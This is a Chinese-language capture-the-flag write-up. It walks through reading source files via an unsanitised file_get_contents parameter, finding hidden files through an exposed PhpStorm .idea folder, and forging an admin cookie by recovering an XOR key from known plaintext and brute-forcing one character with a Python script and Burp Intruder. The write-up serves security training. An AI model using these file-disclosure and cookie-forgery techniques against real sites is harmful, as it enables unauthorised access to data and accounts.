题目:
读取index.php的文件得到一段代码
base64解密得到一段php代码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
可以看出这个php文件是由PhpStorm创建的,而PhpStorm创建的项目下默认存在一个.idea文件夹用来放一些配置文件
访问一下.idea,它提醒我没有权限访问,说明存在该文件夹
访问下里面的workspace.xml文件查看
发现存在fl3g_ichuqiu.php
访问下fl3g_ichuqiu.php,好像不存在什么有价值的东西
利用之前的图片查看下fl3g_ichuqiu.php的源代码
这一次它并没有返回代码,但是之前用index.php是可以得到返回结果的,说明可能存在过滤条件
回头看一下我们得到的index.php的源代码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
我们看下这行代码
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
正则表达式
^在[]外表示以什么开头
^在[]里表示取反
.表示除换行符(\n、\r)之外的任何单个字符
所以这里我们的_被替换成空了,没有返回我们想要的结果
$file = str_replace("config","_", $file);
代码里还有一行,把config替换成_
所以我们构造url为jpg=fl3gconfigichuqiu.php去访问
老套路,拿去base64解密得到fl3g_ichuqiu.php的源代码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
开始代码审计(个人认为是这题的难点)
主程序
只要cookie里的user的值解密后为system,就会显示flag
如果不对就重设user的值,并显示╮(╯▽╰)╭
encrypt函数
function encrypt($txt,$key){
#step1:把guest的ascii码逐个加10
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
#step2:从大小写字母和数字里随机生成4位
$rnd=random(4);
#step3:拼接rnd和key,md5后得到新key
$key=md5($rnd.$key);
#step4:逐位异或,特别注意,这里的$key[++$s]
#也就是txt的第0位对应key的第1位进行异或
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
#step5:拼接rnd和异或后的结果,进行base64加密
return base64_encode($rnd.$ttmp);
}
decrypt函数
其实就是encrypt的逆过程
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
审计时的疑惑
$key=md5($rnd.$key);
新key是rnd和传参的key拼接后md5得到的,这个传进来的老key,我们怎么也不知道
先看下面这个代码,我们假设原来的key就是1234567890
<?php
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
echo '原来的txt值为<br>'.$txt;
echo '<br>';
echo '原来的key值为<br>'.$key;
echo '<br>';
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
echo 'txt的ascii加10后变为<br>'.$txt;
echo '<br>';
$rnd=random(4);
echo '随机生成的rand为<br>'.$rnd;
echo '<br>';
$key=md5($rnd.$key);
echo '新key值为<br>'.$key;
echo '<br>';
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
echo 'txt和新key异或值为ttmp<br>'.$ttmp;
echo '<br>';
echo '对rnd + ttmp进行base64加密<br>'. base64_encode($rnd.$ttmp);
echo '<br>';
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
echo '原来的txt值为<br>'.$txt;
echo '<br>';
echo '原来的key值为<br>'.$key;
echo '<br>';
$txt=base64_decode($txt);
echo 'base64解码后的txt值为<br>'.$txt;
echo '<br>';
$rnd = substr($txt,0,4);
echo 'rnd值为<br>'.$rnd;
echo '<br>';
$txt = substr($txt,4);
echo '新的txt值为<br>'.$txt;
echo '<br>';
$key=md5($rnd.$key);
echo '新key值为<br>'.$key;
echo '<br>';
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
echo 'txt和新key异或值为tmp<br>'.$tmp;
echo '<br>';
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
echo 'tmp的ascii加10后变为<br>'.$tmp1;
echo '<br>';
return $tmp1;
}
$key = '1234567890';
$en = encrypt('guest', $key);
echo "╮(╯▽╰)╭<br>";
decrypt($en,$key);
运行结果如下
加密解密用的新key是一样的,我们不需要知道老key是什么样的
根据encrypt的函数的代码,我们逆向分析,可以解出新key的第2-6位(前面说过了,因为$key[++$s]
)
用python写个函数
def decrypt(rnd_ttmp):
rnd_ttmp = base64.b64decode(rnd_ttmp)
ttmp = rnd_ttmp[4:]
txt = 'guest'
key = ''
for i in range(len(txt)):
key += chr(ttmp[i] ^ (ord(txt[i])+10))
return key
可以先试试这个函数,访问fl3g_ichuqiu.php,让它给我们的cookie设置一个user
得出新key为 X4e84eXXXXXXXXXXXXXXXXX
X 表示未知,不是大写的x
下面的思路就是对system进行加密
因为比较长,也不想让你们网上再翻了,这里再贴一下
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
想要对system进行加密,我们需要知道新key的第7位,以及rnd
正向的看,rnd是随机生成的,我们是获取不到的,但是
反向的看,cookie里的user的值base64解密后就是rnd拼接ttmp
python脚本里我们逆向得出了ttmp,那当然也可以得到rnd
改进的代码
接下来爆破新key的第7位,因为新key是md5后的值,所以只能是abcdef0123456789中的一个
rnd,key = decrypt('V2M1bUUaV0kb')
seven = 'abcdef0123456789'
#为system加密做准备start
txt = 'system'
tmp = ''
for i in range(len(txt)):
tmp += chr(ord(txt[i])+10)
txt = tmp
#为system加密做准备end
#为base64加密做准备,decrypt返回的rnd是字节流
#字节流转字符串可能因为各种原因出现乱码,所以这里就没用字符串
#全部转换成ascii码存在rnd_bytes里
rnd = rnd.decode()
rnd_bytes = []
for i in range(len(rnd)):
rnd_bytes.append(ord(rnd[i]))
#爆破第七位key
for i in seven:
keys = key + i;
ttmp = []
# 全部转换成ascii码存在ttmp里
for j in range(len(txt)):
ttmp.append(ord(txt[j]) ^ ord(keys[j]))
print(base64.b64encode(bytes(rnd_bytes+ttmp)).decode())
结果为16行
打开bp截断请求,发送到intruder模块,就可以得到flag了
比较有争议的问题
爆破第7位key的时候,key不对会进入else分支,重新给user设置一个值,那之前爆破的是不是就没有意义了?
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
用bp爆破的时候,如果不对,会重新设置user,但是这个对我们没有影响的,因为我们的请求包里面的Cookie:user=Y1hPcki0Hk1ZQA==是写死的那种,服务器那边返回的set-cookies对我们接下来的请求包没用的
扩展
现在我们可以看到不管现在的user的值是什么,我们以前得到的这三个解都能拿到flag
如果这个题只有唯一的一个解,
我的意思是,
当user的值为a的时候,只有一个解A能拿到flag
当user的值为b的时候,只有一个解B能拿到flag
思路也很简单,不用bp爆破(不访问服务器,user的值就不会变)
我们把得到的16行数据进行一个decrypt
得到system的那行就是我们要找的解